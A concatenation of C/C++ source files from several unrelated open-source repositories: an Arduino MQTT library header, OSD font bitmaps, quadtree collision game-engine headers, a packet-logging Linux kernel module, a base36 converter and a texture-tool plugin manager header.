&bufpos); virtual void init(String topic, uint8_t *payload, size_t len) { _topic = topic; _payload = payload; _payload_len = len; } public: Publish() : Message(MQTT_PUBLISH), _payload(NULL) { } Publish(String topic, uint8_t *payload, size_t len) : Message(MQTT_PUBLISH) { init(topic, payload, len); } Publish(String topic, const char *payload, size_t len = 0) : Message(MQTT_PUBLISH) { if (len == 0) { len = strlen(payload); } init(topic, (uint8_t *) payload, len); } uint8_t response_type(void) const; // Get or set retain flag bool retain(void) const { return (bool) (_flags & 0x01); } Publish &set_retain(bool r = true) { _flags = (uint8_t) ((_flags & ~0x01) | r); return *this; } Publish &unset_retain(void) { _flags = (uint8_t) (_flags & ~0x01); return *this; } // Get or set QoS value uint8_t qos(void) const { return (uint8_t) ((_flags >> 1) & 0x03); } Publish &set_qos(uint8_t q, uint16_t pid = 0) { if (q > 2) q = 2; _flags &= ~0x06; if (q) { _flags |= q << 1; _packet_id = pid; } return *this; } Publish &unset_qos(void) { _flags &= ~0x06; return *this; } // Get or set dup flag bool dup(void) const { return (bool) ((_flags >> 3) & 0x01); } Publish &set_dup(bool d = true) { _flags = (uint8_t) ((_flags & ~0x08) | (d ? 0x08 : 0)); return *this; } Publish &unset_dup(void) { _flags = (uint8_t) (_flags & ~0x08); return *this; } virtual char *topic(void) const { return (char *) _topic.c_str(); } virtual uint8_t *payload(void) const { return _payload; } virtual size_t payload_len(void) const { return _payload_len; } virtual char *payload_string(void) const { return (char *) _payload; } }; class BufferedPublish : public Publish { protected: uint8_t _buffer[MQTT_MAX_PAYLOAD_SIZE]; virtual void init(String topic, uint8_t *payload, size_t len) { _topic = topic; _payload_len = len; memcpy(_buffer, payload, len); memset(_buffer + len, 0, MQTT_MAX_PAYLOAD_SIZE - len); } public: BufferedPublish(String topic, uint8_t *payload, size_t len) { init(topic, payload, len); } BufferedPublish(String topic, String &payload) { _topic = topic; _payload_len = 0; memset(_buffer, 0, MQTT_MAX_PAYLOAD_SIZE); if (payload.length() > 0) { memcpy(_buffer, payload.c_str(), payload.length()); _payload_len = payload.length(); } } BufferedPublish(String topic, const __FlashStringHelper *payload) { _topic = topic; _payload_len = strlen_P((PGM_P) payload); strncpy((char *) _payload, (PGM_P) payload, _payload_len); } BufferedPublish(String topic, PGM_P payload, size_t length) { _topic = topic; _payload_len = length; memset(_buffer, 0, MQTT_MAX_PAYLOAD_SIZE); memcpy_P(_buffer, payload, length); } // Construct from a network buffer BufferedPublish(uint8_t flags, uint8_t *data, size_t length); virtual uint8_t *payload(void) const { return (uint8_t *) _buffer; } virtual char *payload_string(void) const { return (char *) _buffer; } }; // Response to Publish when qos == 1 class PublishAck : public Message { private: bool write_variable_header(uint8_t *buf, size_t &bufpos) { } public: // Construct with a packet id PublishAck(uint16_t pid); // Construct from a network buffer PublishAck(uint8_t *data, size_t length); }; // First response to Publish when qos == 2 class PublishRec : public Message { private: bool write_variable_header(uint8_t *buf, size_t &bufpos); public: // Construct with a packet id PublishRec(uint16_t pid); // Construct from a network buffer PublishRec(uint8_t *data, size_t length); uint8_t response_type(void) const { return MQTT_PUBREL; } }; // Response to PublishRec class PublishRel : public Message { private: bool write_variable_header(uint8_t *buf, size_t &bufpos); public: // Construct with a packet id PublishRel(uint16_t pid); // Construct from a network buffer PublishRel(uint8_t *data, size_t length); uint8_t response_type(void) const { return MQTT_PUBCOMP; } }; // Response to PublishRel class PublishComp : public Message { private: bool write_variable_header(uint8_t *buf, size_t &bufpos); public: // Construct with a packet id PublishComp(uint16_t pid); // Construct from a network buffer PublishComp(uint8_t *data, size_t length); }; // Ping the broker class Ping : public Message { private: bool write_variable_header(uint8_t *buf, size_t &bufpos) { } public: // Constructor Ping() : Message(MQTT_PINGREQ) { } // Construct from a network buffer Ping(uint8_t *data, size_t length) : Message(MQTT_PINGREQ) { } uint8_t response_type(void) const { return MQTT_PINGRESP; } }; // Response to Ping class PingResp : public Message { private: bool write_variable_header(uint8_t *buf, size_t &bufpos) { } public: // Constructor PingResp() : Message(MQTT_PINGRESP) { } // Construct from a network buffer PingResp(uint8_t *data, size_t length) : Message(MQTT_PINGRESP) { } }; } #endif //MQTT_H
airbit/ArduinoMQTT
examples/mqtt_basic/creds.h
<reponame>airbit/ArduinoMQTT<gh_stars>0 #ifndef CREDS_H #define CREDS_H char *ssid = "CCTY"; // cannot be longer than 32 characters! char *pass = "<PASSWORD>"; // #endif //CREDS_H
vodka-bears/LiteOSD
inc/ascii.h
#ifndef ascii_h #define ascii_h #define _a 0x08 #define _b 0x10 #define _c 0x18 #define _d 0x20 #define _e 0x28 #define _f 0x30 #define _g 0x38 #define _h 0x40 #define _i 0x48 #define _j 0x50 #define _k 0x58 #define _l 0x60 #define _m 0x68 #define _n 0x70 #define _o 0x78 #define _p 0x80 #define _q 0x88 #define _r 0x90 #define _s 0x98 #define _t 0xa0 #define _u 0xa8 #define _v 0xb0 #define _w 0xb8 #define _x 0xc0 #define _y 0xc8 #define _z 0xd0 #define _black 0xe8 #define b00000000 0x00 #define b01111110 0x7E #define b01000010 0x42 #define b01000000 0x40 #define b01111000 0x78 #define b01000100 0x44 #define b00000010 0x02 #define b00010000 0x10 #define b01100110 0x66 #define b01111100 0x7C #define b01000110 0x46 #define b01001000 0x48 #define b01010000 0x50 #define b01100000 0x60 #define b01011010 0x5A #define b01010010 0x52 #define b01001010 0x4A #define b01011000 0x58 #define b00100100 0x24 #define b00101100 0x2C #define b00011000 0x18 #define b10000010 0x82 #define b10010010 0x92 #define b11111110 0xFE #define b00100010 0x22 #define b00010100 0x14 #define b00001000 0x08 #define b11111111 0xFF #define b10000000 0x80 #define b00111000 0x38 #define b00000100 0x04 #define b00100000 0x20 #define b00110000 0x30 #define b00111110 0x3E #define b00011100 0x1C #define b00111111 0x3F #define b11111100 0xFC #define b01111111 0x7F #define b00000011 0x03 #define b11000000 0xC0 #define b00000111 0x07 #define b11100000 0xE0 #define b00000001 0x01 #define b00001111 0x0F #define b11110000 0xF0 #define b00011111 0x1F #define b11111000 0xF8 #define b10001110 0x8E #define b00000110 0x06 #define b01110000 0x70 #define b00001110 0x0E #define b10011110 0x9E #define b00111100 0x3C #define b11000001 0xC1 #define b11100011 0xE3 #define b00011110 0x1E #define b01110001 0x71 #define b00001001 0x09 #define b10010000 0x90 #define b00001011 0x0B #define b11010000 0xB0 #define b00110000 0x30 #define b00001100 0x03 #define b01100010 0x62 #define b10001010 0x8A #define b00101000 0x28 #define b10000100 0x84 #define b01010100 0x54 #define b10101010 0xaa #define b01001100 0x4c #define b00110010 0x32 #define b10001100 0x8c #define b01110010 0x72 #define b11000100 0xc4 #define b10111000 0xb8 #define b10111100 0xbc #define b11000010 0xc2 #define b11000110 0xc6 #define b10100010 0xa2 #define b10000110 0x86 #define b10111110 0xbe #define b10100000 0xa0 #define b10001000 0x88 unsigned char code ULetters[] = { // Blank - 0 b00000000, b00111110, b01000000, b10000000, b10000000, b10000000, b10000000, b01000000, b00111000, b00000100, b00000010, b00000010, b00000010, b00000010, b00000100, b11111000, b00000000, b01111100, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, b01111100, b00000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01111110, b00000000, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b01000100, b00101000, b00010000, b00000000, b11111110, b10000000, b10000000, b10000000, b10000000, b10000000, b10000000, b11111110, b10000000, b10000000, b10000000, b10000000, b10000000, b10000000, b11111110, b00000000, b11111110, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b11111110, b11000000, b10100000, b10010000, b10001000, b10000100, b10000010, }; unsigned char code PLetters[] = { // Blank - a b00000000, b00010000, b00101000, b01000100, b10000010, b10000010, b10000010, b10000010, b11111110, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b10000010, b00000000, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10010010, b10101010, b01000100, b00000000, b00100000, b00100000, b00100000, b00111110, b00100010, b00100010, b00111110, b00000000, b10010000, b10010000, b01010000, b00110000, b00100000, b01000000, b10000000, }; unsigned char code letters[] = { // Blank - y b00000000, b00000000, b00000000, b00000000, b00000000, b00000000, b00000000, b00000000, // A - 1 b00000000, b00011000, b00100100, b01000010, b01111110, b01000010, b01000010, b01000010, // B - 2 b00000000, b01111100, b01000010, b01000010, b01111110, b01000010, b01000010, b01111100, // C - 3 b00000000, b00011110, b00100000, b01000000, b01000000, b01000000, b00100000, b00011110, // D - 4 b00000000, b01111000, b01000100, b01000010, b01000010, b01000010, b01000100, b01111000, // E - 5 b00000000, b01111110, b01000000, b01000000, b01111110, b01000000, b01000000, b01111110, // F - 6 b00000000, b01111110, b01000000, b01000000, b01111110, b01000000, b01000000, b01000000, // G - 7 b00000000, b01111110, b10000010, b10000000, b10000110, b10000010, b10000010, b01111100, // H - 8 b00000000, b01000010, b01000010, b01000010, b01111110, b01000010, b01000010, b01000010, // I - 9 b00000000, b01111100, b00010000, b00010000, b00010000, b00010000, b00010000, b01111100, // J - 10 b00000000, b01111110, b00000010, b00000010, b00000010, b01000010, b01100110, b01111100, //K - 11 b00000000, b01000100, b01001000, b01010000, b01100000, b01010000, b01001000, b01000100, // L - 12 b00000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01000000, b01111100, // M - 13 b00000000, b11000110, b10101010, b10010010, b10000010, b10000010, b10000010, b10000010, // N - 14 b00000000, b11000010, b10100010, b10010010, b10001010, b10001010, b10000110, b10000010, // O - 15 b00000000, b00111100, b01000010, b01000010, b01000010, b01000010, b01000010, b00111100, // P - 16 b00000000, b01111100, b01000010, b01000010, b01111100, b01000000, b01000000, b01000000, // Q - 17 b00000000, b01111110, b01000010, b01000010, b01000010, b01011010, b01111110, b00000110, // R - 18 b00000000, b01111100, b01000010, b01000010, b01111100, b01001000, b01000100, b01000010, // S - 19 b00000000, b00111110, b01000000, b01000000, b00111100, b00000010, b00000010, b01111100, // T - 20 b00000000, b01111110, b00010000, b00010000, b00010000, b00010000, b00010000, b00010000, // U - 21 b00000000, b01000010, b01000010, b01000010, b01000010, b01000010, b01000010, b00111100, // V - 22 b00000000, b10000010, b10000010, b10000010, b10000010, b01000100, b00101000, b00010000, // w - 23 b00000000, b10000010, b10010010, b10010010, b10010010, b10010010, b10010010, b01111100, // x - 24 b00000000, b01000010, b00100010, b00010100, b00001000, b00010100, b00100010, b01000010, // y - 25 b00000000, b01000010, b00100010, b00010100, b00001000, b00001000, b00001000, b00001000, //Z b00000000, b01111110, b00000100, b00001000, b00010000, b00100000, b01000000, b01111110, //27 b00000000, b00000000, b00000000, b00000000, b11110000, b10000000, b10000000, b11110000, //28 b00000000, b00000000, b00000000, b00000000, b00011110, b00000010, b00000010, b00011110, //29 b00000000,//233 b11111110, b11111110, b11111110, b11111110, b11111110, b11111110, b00000000, //30 b00000000,//233 b00000000, b00000000, b00000000, b10000100, b10000100, b01001000, b00110000, //31 b00000000,//233 b00000000, b00000000, b00000000, b00110000, b01001000, b11111100, b10000100, }; // Array with numbers, "-", ".", ":" and blank char code numbers[] = { // 0 b00000000, b01111110, b01000010, b01000010, b01000010, b01000010, b01000010, b01111110, // 1 b00000000, b00010000, b00110000, b01010000, b00010000, b00010000, b00010000, b01111110, // 2 b00000000, b01111110, b00000110, b00000110, b01111110, b01000000, b01000000, b01111110, // 3 b00000000, b01111110, b00000010, b00000010, b00111110, b00000010, b00000010, b01111110, // 4 b00000000, b01000010, //0x42 b01000010, //0x42 b01000010, //0x42 b01111110, //0x7E b00000010, //0x02 b00000010, //0x02 b00000010, //0x02 // 5 b00000000, b01111110, b01000000, b01000000, b01111110, b00000010, b00000010, b01111110, // 6 b00000000, b01111110, b01000000, b01000000, b01111110, b01000010, b01000010, b01111110, // 7 b00000000, b01111110, b01000010, b00000100, b00001000, b00010000, b00100000, b00100000, // 8 b00000000, b01111110, b01000010, b01000010, b01111110, b01000010, b01000010, b01111110, // 9 b00000000, b01111110, b01000010, b01000010, b01111110, b00000010, b00000010, b00000010, // - b00000000, b00000000, b00000000, b00000000, b11111110, b00000000, b00000000, b00000000, // . b00000000, b00000000, b00000000, b00000000, b00000000, b00000000, b00111000, b00111000, // > b00000000, b10000000, b00100000, b00001000, b00000010, b00001000, b00100000, b10000000, //: b00000000, b00000000, b00011100, b00011100, b00000000, b00011100, b00011100, b00000000, // + b00000000, b00010000, b00010000, b00010000, b11111110, b00010000, b00010000, b00010000, // ^ b00000000, b00010000, b00101000, b01000100, b10000010, b00000000, b00000000, b00000000, //< b00000000, b11111110, b10000010, b10000010, b10000010, b10000010, b11111110, b00000000, // b00000000, b10000010, b10000010, b10000010, b01000100, b00101000, b00010000, b00000000, //_ b00000000, b00000000, b00000000, b00000000, b00000000, b00000000, b00000000, b11111110 }; #endif
didaclis/Research_QuadTree
Handout/Motor2D/ent_Player.h
#ifndef __ENT_PLAYER_H__ #define __ENT_PLAYER_H__ #include "j1Entity.h" #include "Animation.h" #include "j1Collision.h" struct SDL_Texture; enum PlayerState { IDLE = 0, WALKING, UNKNOWN }; class Player : public j1Entity { public: Player(int x, int y, std::string name); ~Player(); bool Start(); bool Update(float dt); bool CleanUp(); void OnCollision(Collider*, Collider*, float dt); private: void PushBack(); void AddColliders(); void ChangeState(PlayerState); void SetCollidersPos(); void IdAnimToEnum(); void LoadProperties(pugi::xml_node&); void LoadCollider(pugi::xml_node&); private: PlayerState state = IDLE; Animation anim_walking; Animation anim_default; }; #endif
didaclis/Research_QuadTree
Handout/Motor2D/j1QuadTree.h
<reponame>didaclis/Research_QuadTree #ifndef __J1QUADTREE_H__ #define __J1QUADTREE_H__ #include "j1Module.h" class j1QuadTree { public: j1QuadTree(SDL_Rect area, uint maxCol, uint lvl); ~j1QuadTree(); void DebugDraw(); private: SDL_Rect area; uint lvl; uint maxCol; }; #endif
didaclis/Research_QuadTree
Handout/Motor2D/j1Collision.h
#ifndef __J1COLLISION_H__ #define __J1COLLISION_H__ #include "j1Module.h" #include <vector> class j1Entity; enum COLLIDER_TYPE { COLLIDER_NONE = -1, COLLIDER_ENTITY, COLLIDER_MAX }; struct Collider { SDL_Rect rect; bool to_delete = false; COLLIDER_TYPE type; j1Entity* callback = nullptr; Collider(SDL_Rect rectangle, COLLIDER_TYPE type, j1Entity* callback = nullptr) : rect(rectangle), type(type), callback(callback) {} void SetPos(int x, int y) { rect.x = x; rect.y = y; } bool CheckCollision(const SDL_Rect& r) const; }; class j1Colliders : public j1Module { public: j1Colliders(); ~j1Colliders(); bool Awake(pugi::xml_node&); bool PreUpdate() ; bool Update(float dt); void OnCollisionCall(Collider * c1, Collider * c2, float dt); //update_status PostUpdate(); bool CleanUp(); Collider* AddCollider(SDL_Rect rect, COLLIDER_TYPE type, j1Entity * callback = nullptr); bool EraseAllCollider(Collider* collider); void DebugDraw(); bool checkColisionList(Collider* enemCollider); bool Check(Collider* c1, COLLIDER_TYPE type); bool debug = false; bool traditionalMetod = false; private: std::vector<Collider*> colliders; bool matrix[COLLIDER_MAX][COLLIDER_MAX]; }; #endif // __J1COLLIDERS_H__
didaclis/Research_QuadTree
Handout/Motor2D/j1Map.h
#ifndef __j1MAP_H__ #define __j1MAP_H__ #include <list> #include <string> #include "j1Module.h" #include "j1Collision.h" struct SDL_Texture; // ---------------------------------------------------- struct LayerProperties { bool draw = true; }; struct MapProperties { std::string objects_path; }; struct MapLayer { std::string name; uint width = 0; uint height = 0; uint* tiles = nullptr; bool visible = true; LayerProperties properties; ~MapLayer() { delete[] tiles; tiles = nullptr; } inline uint Get(int x, int y) const; }; // ---------------------------------------------------- struct TileSet { SDL_Rect GetTileRect(int id) const; std::string name; int firstgid; int margin; int spacing; int tile_width; int tile_height; SDL_Texture* texture; int tex_width; int tex_height; int num_tiles_width; int num_tiles_height; int offset_x; int offset_y; }; enum MapTypes { MAPTYPE_UNKNOWN = 0, MAPTYPE_ORTHOGONAL, MAPTYPE_ISOMETRIC, MAPTYPE_STAGGERED }; // ---------------------------------------------------- struct MapData { int width; int height; int tile_width; int tile_height; MapProperties properties; SDL_Color background_color; MapTypes type; std::list<TileSet*> tilesets; std::list<MapLayer*> layers; std::list<Collider*> mapColliders; }; // ---------------------------------------------------- class j1Map : public j1Module { public: j1Map(); // Destructor virtual ~j1Map(); // Called before render is available bool Awake(pugi::xml_node& conf); // Called each loop iteration void Draw(); // Called before quitting bool CleanUp(); // Load new map bool Load(const char* path); iPoint MapToWorld(int x, int y) const; iPoint WorldToMap(int x, int y) const; //void AddCollidersMap(); private: bool LoadMap(); bool LoadMapProperties(pugi::xml_node& node); bool LoadTilesetDetails(pugi::xml_node& tileset_node, TileSet* set); bool LoadTilesetImage(pugi::xml_node& tileset_node, TileSet* set); bool LoadLayer(pugi::xml_node& layer_node, MapLayer* layer); bool LoadObjects(pugi::xml_node& layer_node, SDL_Rect &rect); void LoadLayerProperties(pugi::xml_node & properties_node, MapLayer* layer = nullptr); TileSet* GetTilesetFromTileId(int id) const; public: MapData data; std::string sceneName; bool draw_grid = false; private: pugi::xml_document map_file; std::string folder; bool map_loaded; SDL_Texture* grid = nullptr; }; #endif // __j1MAP_H__
didaclis/Research_QuadTree
Handout/Motor2D/ent_NPC.h
#ifndef __ENT_NPC_H__ #define __ENT_NPC_H__ #include "j1Entity.h" #include "Animation.h" struct SDL_Texture; class ent_NPC : public j1Entity { public: ent_NPC(int x, int y, std::string name); ~ent_NPC(); bool Start(); bool Update(float dt); bool CleanUp(); void OnCollision(Collider*, Collider*, float dt); private: }; #endif
didaclis/Research_QuadTree
Handout/Motor2D/Quadtree.h
#ifndef __QUADTREE_H__ #define __QUADTREE_H__ #include "p2Defs.h" #include "p2Log.h" #include "SDL/include/SDL.h" class Quadtree { public: //Constructor Quadtree(uint max_levels, SDL_Rect area, uint level, uint maxElements); ~Quadtree(); //subdivide the node into 4 subnodes virtual void Subdivide() {}; void Draw() const {}; bool CheckIn(SDL_Rect rect); protected: uint max_levels; //Max number of levels a quadtree will have uint level; //Position in the tree SDL_Rect area; //Position and size bool isDivided; //true when have subnodes uint maxElements; //max elements to divide; }; #endif // !__QUADTREE_H__
didaclis/Research_QuadTree
Handout/Motor2D/CollisionQuadTree.h
#ifndef _COLLISIONQUADTREE_H_ #define _COLLISIONQUADTREE_H_ #include "Quadtree.h" #include "j1Collision.h" #include <list> class CollisionQuadTree : public Quadtree { public: CollisionQuadTree(uint max_levels, SDL_Rect area, uint level, uint maxElements, CollisionQuadTree* prev = nullptr); ~CollisionQuadTree(); void Subdivide(); void AddCollider(Collider* col); void DistrbuteColliders(); void CheckCollisions(float dt); void PlaceCollider(Collider* col); void CleanUp(); uint GetSize(); void Draw(); private: CollisionQuadTree* nodes[4]; //next subdivide std::list<Collider*> elements;//elements to check collisions CollisionQuadTree* prev = nullptr; //save the Quadtree that create them }; #endif
didaclis/Research_QuadTree
Solution/Motor2D/j1Scene.h
<gh_stars>0 #ifndef __j1SCENE_H__ #define __j1SCENE_H__ #include "j1Module.h" #include "CollisionQuadTree.h" #include <vector> class j1Scene : public j1Module { public: j1Scene(); // Destructor virtual ~j1Scene(); // Called before render is available bool Awake(pugi::xml_node& map); // Called before the first frame bool Start(); // Called each loop iteration bool Update(float dt); // Called before quitting bool CleanUp(); bool entities_box = false; public: CollisionQuadTree* quadtree = nullptr; uint collisionsCheck = 0; }; #endif // __j1SCENE_H__
didaclis/Research_QuadTree
Solution/Motor2D/j1Window.h
#ifndef __j1WINDOW_H__ #define __j1WINDOW_H__ #include "j1Module.h" struct SDL_Window; struct SDL_Surface; class j1Window : public j1Module { public: j1Window(); // Destructor virtual ~j1Window(); // Called before render is available bool Awake(pugi::xml_node&); // Called before quitting bool CleanUp(); // Change title void SetNewTitle(const char* new_title); void AddStringToTitle(const char* add_title); void ClearTitle(); // Retrive window size uint GetWindowWidth() const; uint GetWindowHeight() const; // Retrieve window scale uint GetScale() const; void SetScale(int scale); public: //The window we'll be rendering to SDL_Window* window; //The surface contained by the window SDL_Surface* screen_surface; bool fullscreen; private: std::string title; uint width; uint height; uint scale; }; #endif // __j1WINDOW_H__
didaclis/Research_QuadTree
Handout/Motor2D/ent_Static.h
<filename>Handout/Motor2D/ent_Static.h #ifndef __ENT_STATIC_H__ #define __ENT_STATIC_H__ #include "j1Entity.h" struct SDL_Texture; class ent_Static : public j1Entity { public: enum class Type { TREE, STATUE, POST, HOUSE, CENTER, PILAR, CORNER, WALL_UP_RIGHT, WALL_UP_LEFT, WALL_DOWN_RIGHT, WALL_DOWN_LEFT, DOOR, UNKNOWN }; public: ent_Static(int x, int y, std::string name); ~ent_Static(); //void OnCollision(Collider*, Collider*, float dt); private: void Draw(); void SetRect(int x, int y, int w, int h); private: SDL_Rect frame; Type type; }; #endif
didaclis/Research_QuadTree
Handout/Motor2D/j1Entity.h
#ifndef __ENTITY_H__ #define __ENTITY_H__ #include "p2Point.h" #include "Animation.h" #include <string> #include "j1Collision.h" #include "SDL_image/include/SDL_image.h" struct SDL_Texture; struct Collider; struct TileSetEntity { SDL_Rect GetTileRect(int id) const; std::string name; uint tilewidth = 0; uint tileheight = 0; uint spacing = 0; uint margin = 0; uint tilecount = 0; uint columns = 0; std::string imagePath; SDL_Texture* texture = nullptr; uint width = 0; uint height = 0; }; enum class EntityState { IDLE = 0, WALKING, UNKNOWN }; class j1Entity { public: j1Entity(int x, int y, std::string name); virtual ~j1Entity(); const Collider* GetCollider() const; //----------------------------------------------------------------------------------------------------------- virtual bool Start() { return true; } virtual bool Update(float dt); virtual void Draw(); void OnCollision(Collider* collider1, Collider * collider2, float dt); virtual bool CleanUp(); public: uint count = 0; std::string name; fPoint position; iPoint pivot = { 0, 0 }; iPoint size = { 0, 0 }; Animation anim_run; Animation col_anim; SDL_Texture* texture; Collider* collider; std::string folder = "entities/"; SDL_RendererFlip flip = (SDL_RendererFlip)SDL_FLIP_NONE; pugi::xml_document entity_file; Animation* current_animation = nullptr; protected: bool goleft; }; #endif // __ENTITY_H__
cydrobolt/compos
compos.c
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/list.h> #include <asm/uaccess.h> // Import proc_fs and netfilter #include <linux/proc_fs.h> #include <linux/seq_file.h> #include <linux/tcp.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/ip.h> #include <linux/skbuff.h> // Import JSON libraries to interface with compos_ctl #include "lib/jsmn.h" // Define constants #define PROCFS_NAME "compos" #define PROCFS_MAX_SIZE 1024 MODULE_LICENSE("MIT"); MODULE_AUTHOR("cydrobolt"); MODULE_DESCRIPTION("compos self-control module"); static struct nf_hook_ops nfho; static struct proc_dir_entry *proc_entry; static char procfs_buffer[PROCFS_MAX_SIZE]; static int procfs_buffer_size = 0; /* proc file functions */ static int cp_proc_write(struct file *file, char *buffer, size_t count, loff_t *offset) { procfs_buffer_size = count; if (procfs_buffer_size > PROCFS_MAX_SIZE) { procfs_buffer_size = PROCFS_MAX_SIZE; } printk(KERN_INFO "received something in write!"); if (!copy_from_user(procfs_buffer, buffer, procfs_buffer_size)) { printk(KERN_INFO "received information in procfile"); printk(KERN_INFO "%s", procfs_buffer); return -EFAULT; } return procfs_buffer_size; } static int cp_proc_show(struct seq_file *m, void *v) { seq_printf(m, "hello world!\n"); return 0; } static int cp_proc_open(struct inode *inode, struct file *file) { return single_open(file, cp_proc_show, NULL); } static const struct file_operations cp_fops = { owner: THIS_MODULE, open: cp_proc_open, read: seq_read, llseek: seq_lseek, release: single_release, write: cp_proc_write }; /* netfilter hooks */ unsigned int hook_func_out (void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { // Intercept outbound packets struct iphdr *ip_header = (struct iphdr *) skb_network_header(skb); // unsigned int src_ip = (unsigned int)ip_header->saddr; unsigned int dest_ip = (unsigned int) ip_header->daddr; printk("packet with dest %pI4", &dest_ip); if (false) { return NF_DROP; } return NF_ACCEPT; } /* initialize & cleanup compos */ static int __init compos_init(void) { printk(KERN_INFO "Loading compos\n"); nfho.hook = hook_func_out; nfho.hooknum = NF_INET_LOCAL_OUT; nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; // Register hook nf_register_hook(&nfho); // Initialize proc file proc_entry = proc_create(PROCFS_NAME, 0, NULL, &cp_fops); if (proc_entry == NULL) { remove_proc_entry(PROCFS_NAME, NULL); printk(KERN_ALERT "Could not initialize /proc/%s\n", PROCFS_NAME); return -ENOMEM; } printk(KERN_INFO "compos proc file created"); return 0; } static void __exit compos_cleanup(void) { printk(KERN_ALERT "Cleaning up compos.\n"); nf_unregister_hook(&nfho); remove_proc_entry(PROCFS_NAME, NULL); } module_init(compos_init); module_exit(compos_cleanup);
eelfroth/orca-bytebeat
base36.c
#include <stdio.h> #include <time.h> #define NS_PER_S 1000000000L struct timespec ts_subtract(struct timespec time1, struct timespec time2); int main() { int c; long dt; struct timespec ts_now, ts_last; clock_gettime(CLOCK_REALTIME, &ts_last); for (;;) { clock_gettime(CLOCK_REALTIME, &ts_now); dt = ts_subtract(ts_now, ts_last).tv_nsec; ts_last = ts_now; c = getc(stdin); if (c == EOF) break; else if (c >= '0' && c <= '9') c -= '0'; else if (c >= 'a' && c <= 'z') c -= 'a' - 10; else if (c >= 'A' && c <= 'Z') c -= 'A' - 10; else continue; c = c * 255 / 35; putc((unsigned char) c, stdout); fflush(stdout); fprintf(stderr, "\r%f Hz \t", (float)NS_PER_S/dt); } return 0; } struct timespec ts_subtract(struct timespec time1, struct timespec time2) { struct timespec result; result.tv_sec = time1.tv_sec - time2.tv_sec; if (time1.tv_nsec < time2.tv_nsec) { result.tv_nsec = time1.tv_nsec + NS_PER_S - time2.tv_nsec; result.tv_sec--; } else { result.tv_nsec = time1.tv_nsec - time2.tv_nsec; } return (result); }
giordi91/Compressonator
Compressonator/Applications/_Plugins/Common/PluginManager.h
<filename>Compressonator/Applications/_Plugins/Common/PluginManager.h //===================================================================== // Copyright 2016 (c), Advanced Micro Devices, Inc. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files(the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and / or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions : // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // // /// \file PluginManager.h /// \version 2.20 // //===================================================================== #ifndef _PLUGINMANAGER_H #define _PLUGINMANAGER_H // C RunTime Header Files #include <stdlib.h> #ifndef __APPLE__ #include <malloc.h> #endif #include <memory.h> #ifdef _WIN32 #include <tchar.h> #include <direct.h> #endif #include <vector> //#include "PluginInterface.h" #include "PluginBase.h" using namespace std; #define MAX_PLUGIN_FILENAME_STR 512 #define MAX_PLUGIN_NAME_STR 256 #define MAX_PLUGIN_UUID_STR 37 #define MAX_PLUGIN_TYPE_STR 64 #define MAX_PLUGIN_CATEGORY_STR 64 #define DEFAULT_PLUGINLIST_DIR "./plugins" class PluginDetails { public: PluginDetails() { clearMembers(); } ~PluginDetails(); void *makeNewInstance(); void setFileName(char * nm); char *getFileName() { return filename; } char *getName() { return pluginName; } char *getUUID() { return pluginUUID; } char *getType() { return pluginType; } char *getCategory() { return pluginCategory; } void setName(char * nm); void setUUID(char * nm); void setType(char * nm); void setCategory(char * nm); bool isStatic; bool isRegistered; // true when all dll interfaces has been registered using LoadLibraryA and GetProcAddress PLUGIN_FACTORYFUNC funcHandle; private: void clearMembers() { #ifdef _WIN32 dllHandle = NULL; #endif isStatic = false; isRegistered = false; filename[0] = 0; pluginType[0] = 0; pluginName[0] = 0; pluginUUID[0] = 0; pluginCategory[0] = 0; } char filename [MAX_PLUGIN_FILENAME_STR]; char pluginType [MAX_PLUGIN_TYPE_STR]; char pluginName [MAX_PLUGIN_NAME_STR]; char pluginUUID [MAX_PLUGIN_UUID_STR]; char pluginCategory[MAX_PLUGIN_CATEGORY_STR]; #ifdef _WIN32 HINSTANCE dllHandle; #endif }; class PluginManager { public: PluginManager(); ~PluginManager(); void getPluginList(char * dirPath); void registerStaticPlugin(char *pluginType, char *pluginName, void * makePlugin); void registerStaticPlugin(char *pluginType, char *pluginName, char *uuid, void * makePlugin); bool PluginSupported(char *type, char *name); void getPluginDetails(PluginDetails *curPlugin); int getNumPlugins(); void *makeNewPluginInstance(int index); char *getPluginName(int index); char *getPluginUUID(int index); char *getPluginCategory(int index); char *getPluginType(int index); void *GetPlugin(char *type, char *name); void *GetPlugin(char *uuid); private: bool m_pluginlistset; char m_pluginfolder [MAX_PLUGIN_FILENAME_STR]; void clearPluginList(); vector<PluginDetails*> pluginRegister; }; #endif
SicklySilverMoon/C-Utils
ArrayList/TEST_FOR_ARRAYLIST.c
